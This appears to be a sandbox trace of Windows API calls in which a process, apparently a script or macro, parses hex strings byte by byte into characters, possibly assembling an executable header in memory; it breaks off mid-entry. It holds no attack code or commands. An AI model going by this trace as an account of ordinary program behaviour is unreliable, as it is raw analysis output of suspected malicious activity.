WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.592] VarParseNumFromStr (in: strIn="&H3", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.592] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x03") returned 1 [0061.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x03", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x03", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x03", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x03", lpUsedDefaultChar=0x0) returned 1 [0061.593] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.593] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.594] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.594] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.594] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.594] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.594] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.595] VarParseNumFromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.595] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x04") returned 1 [0061.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.595] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x04", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x04", lpUsedDefaultChar=0x0) returned 1 [0061.595] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.595] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.596] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.596] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.596] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.596] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.597] VarParseNumFromStr (in: strIn="&HFF", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.597] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="ÿ") returned 1 [0061.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ÿ", lpUsedDefaultChar=0x0) returned 1 [0061.598] VarParseNumFromStr (in: strIn="&HFF", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.598] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="ÿ") returned 1 [0061.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ÿ", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ÿ", lpUsedDefaultChar=0x0) returned 1 [0061.599] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.599] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.599] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.599] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.600] VarParseNumFromStr (in: strIn="&HB8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.600] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="¸") returned 1 [0061.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¸", lpUsedDefaultChar=0x0) returned 1 [0061.601] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.601] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.602] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.602] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.602] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.602] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.603] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.603] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.604] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.604] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.604] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.604] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.604] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.605] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.605] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.605] MultiByteToWideChar (in: 